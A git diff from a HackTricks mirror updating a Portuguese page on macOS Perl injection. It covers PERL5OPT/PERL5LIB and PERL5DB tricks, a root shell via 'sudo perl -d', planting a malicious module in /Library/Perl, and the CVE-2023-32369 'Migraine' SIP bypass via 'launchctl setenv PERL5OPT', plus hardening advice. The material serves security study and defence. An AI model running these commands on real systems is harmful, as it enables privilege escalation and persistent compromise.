mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
2274366530
commit
5ac3ab720d
@ -1,10 +1,10 @@
|
||||
# Injeção de Aplicações Perl no macOS
|
||||
# macOS Perl Applications Injection
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Via variável de ambiente `PERL5OPT` & `PERL5LIB`
|
||||
## Via `PERL5OPT` & `PERL5LIB` env variable
|
||||
|
||||
Usando a variável de ambiente PERL5OPT, é possível fazer o perl executar comandos arbitrários.\
|
||||
Usando a variável de ambiente **`PERL5OPT`** é possível fazer com que **Perl** execute comandos arbitrários quando o interpretador inicia (mesmo **antes** da primeira linha do script alvo ser analisada).
|
||||
Por exemplo, crie este script:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
@ -22,17 +22,30 @@ package pmod;
|
||||
system('whoami');
|
||||
1; # Modules must return a true value
|
||||
```
|
||||
E então use as variáveis de ambiente:
|
||||
E então use as variáveis de ambiente para que o módulo seja localizado e carregado automaticamente:
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
## Via dependencies
|
||||
### Outras variáveis de ambiente interessantes
|
||||
|
||||
É possível listar a ordem da pasta de dependências do Perl em execução:
|
||||
* **`PERL5DB`** – quando o interpretador é iniciado com a flag **`-d`** (debugger), o conteúdo de `PERL5DB` é executado como código Perl *dentro* do contexto do debugger. Se você puder influenciar tanto o ambiente **quanto** as flags da linha de comando de um processo Perl privilegiado, você pode fazer algo como:
|
||||
|
||||
```bash
|
||||
export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # irá abrir um shell antes de executar o script
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – no Windows, essa variável controla qual executável de shell o Perl usará quando precisar criar um shell. Ela é mencionada aqui apenas para completude, pois não é relevante no macOS.
|
||||
|
||||
Embora `PERL5DB` exija a switch `-d`, é comum encontrar scripts de manutenção ou instaladores que são executados como *root* com essa flag ativada para solução de problemas detalhada, tornando a variável um vetor de escalonamento válido.
|
||||
|
||||
## Via dependências (@INC abuse)
|
||||
|
||||
É possível listar o caminho de inclusão que o Perl irá buscar (**`@INC`**) executando:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
O que retornará algo como:
|
||||
A saída típica no macOS 13/14 parece com:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
@ -44,17 +57,43 @@ O que retornará algo como:
|
||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Algumas das pastas retornadas nem existem, no entanto, **`/Library/Perl/5.30`** **existe**, **não** é **protegida** pelo **SIP** e está **antes** das pastas **protegidas pelo SIP**. Portanto, alguém poderia abusar dessa pasta para adicionar dependências de script lá, para que um script Perl de alto privilégio o carregue.
|
||||
Algumas das pastas retornadas nem existem, no entanto **`/Library/Perl/5.30`** existe, *não* é protegida pelo SIP e está *antes* das pastas protegidas pelo SIP. Portanto, se você puder escrever como *root*, pode colocar um módulo malicioso (por exemplo, `File/Basename.pm`) que será *preferencialmente* carregado por qualquer script privilegiado que importe esse módulo.
|
||||
|
||||
> [!WARNING]
|
||||
> No entanto, note que você **precisa ser root para escrever nessa pasta** e atualmente você receberá este **prompt TCC**:
|
||||
> Você ainda precisa de **root** para escrever dentro de `/Library/Perl` e o macOS mostrará um prompt **TCC** pedindo *Acesso Completo ao Disco* para o processo que realiza a operação de escrita.
|
||||
|
||||
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
Por exemplo, se um script estiver importando **`use File::Basename;`**, seria possível criar `/Library/Perl/5.30/File/Basename.pm` contendo código controlado pelo atacante.
|
||||
|
||||
Por exemplo, se um script estiver importando **`use File::Basename;`**, seria possível criar `/Library/Perl/5.30/File/Basename.pm` para fazer com que ele execute código arbitrário.
|
||||
## Bypass do SIP via Assistente de Migração (CVE-2023-32369 “Migraine”)
|
||||
|
||||
Em maio de 2023, a Microsoft divulgou **CVE-2023-32369**, apelidada de **Migraine**, uma técnica de pós-exploração que permite a um atacante *root* **burlar completamente a Proteção de Integridade do Sistema (SIP)**. O componente vulnerável é **`systemmigrationd`**, um daemon intitulado com **`com.apple.rootless.install.heritable`**. Qualquer processo filho gerado por esse daemon herda a concessão e, portanto, é executado **fora** das restrições do SIP.
|
||||
|
||||
Entre os filhos identificados pelos pesquisadores está o interpretador assinado pela Apple:
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
Porque o Perl respeita `PERL5OPT` (e o Bash respeita `BASH_ENV`), envenenar o *ambiente* do daemon é suficiente para obter execução arbitrária em um contexto sem SIP:
|
||||
```bash
|
||||
# As root
|
||||
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
Quando `migrateLocalKDC` é executado, `/usr/bin/perl` inicia com o malicioso `PERL5OPT` e executa `/private/tmp/migraine.sh` *antes que o SIP seja reabilitado*. A partir desse script, você pode, por exemplo, copiar um payload dentro de **`/System/Library/LaunchDaemons`** ou atribuir o atributo estendido `com.apple.rootless` para tornar um arquivo **indeletável**.
|
||||
|
||||
A Apple corrigiu o problema no macOS **Ventura 13.4**, **Monterey 12.6.6** e **Big Sur 11.7.7**, mas sistemas mais antigos ou não corrigidos permanecem exploráveis.
|
||||
|
||||
## Recomendações de hardening
|
||||
|
||||
1. **Limpar variáveis perigosas** – launchdaemons ou cron jobs privilegiados devem iniciar com um ambiente limpo (`launchctl unsetenv PERL5OPT`, `env -i`, etc.).
|
||||
2. **Evitar executar interpretadores como root** a menos que estritamente necessário. Use binários compilados ou reduza privilégios cedo.
|
||||
3. **Scripts de fornecedor com `-T` (modo de contaminação)** para que o Perl ignore `PERL5OPT` e outras opções inseguras quando a verificação de contaminação estiver habilitada.
|
||||
4. **Mantenha o macOS atualizado** – “Migraine” está totalmente corrigido nas versões atuais.
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
- Microsoft Security Blog – “Nova vulnerabilidade do macOS, Migraine, pode contornar a Proteção de Integridade do Sistema” (CVE-2023-32369), 30 de maio de 2023.
|
||||
- Hackyboiz – “Pesquisa sobre Bypass do SIP do macOS (PERL5OPT & BASH_ENV)”, maio de 2025.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user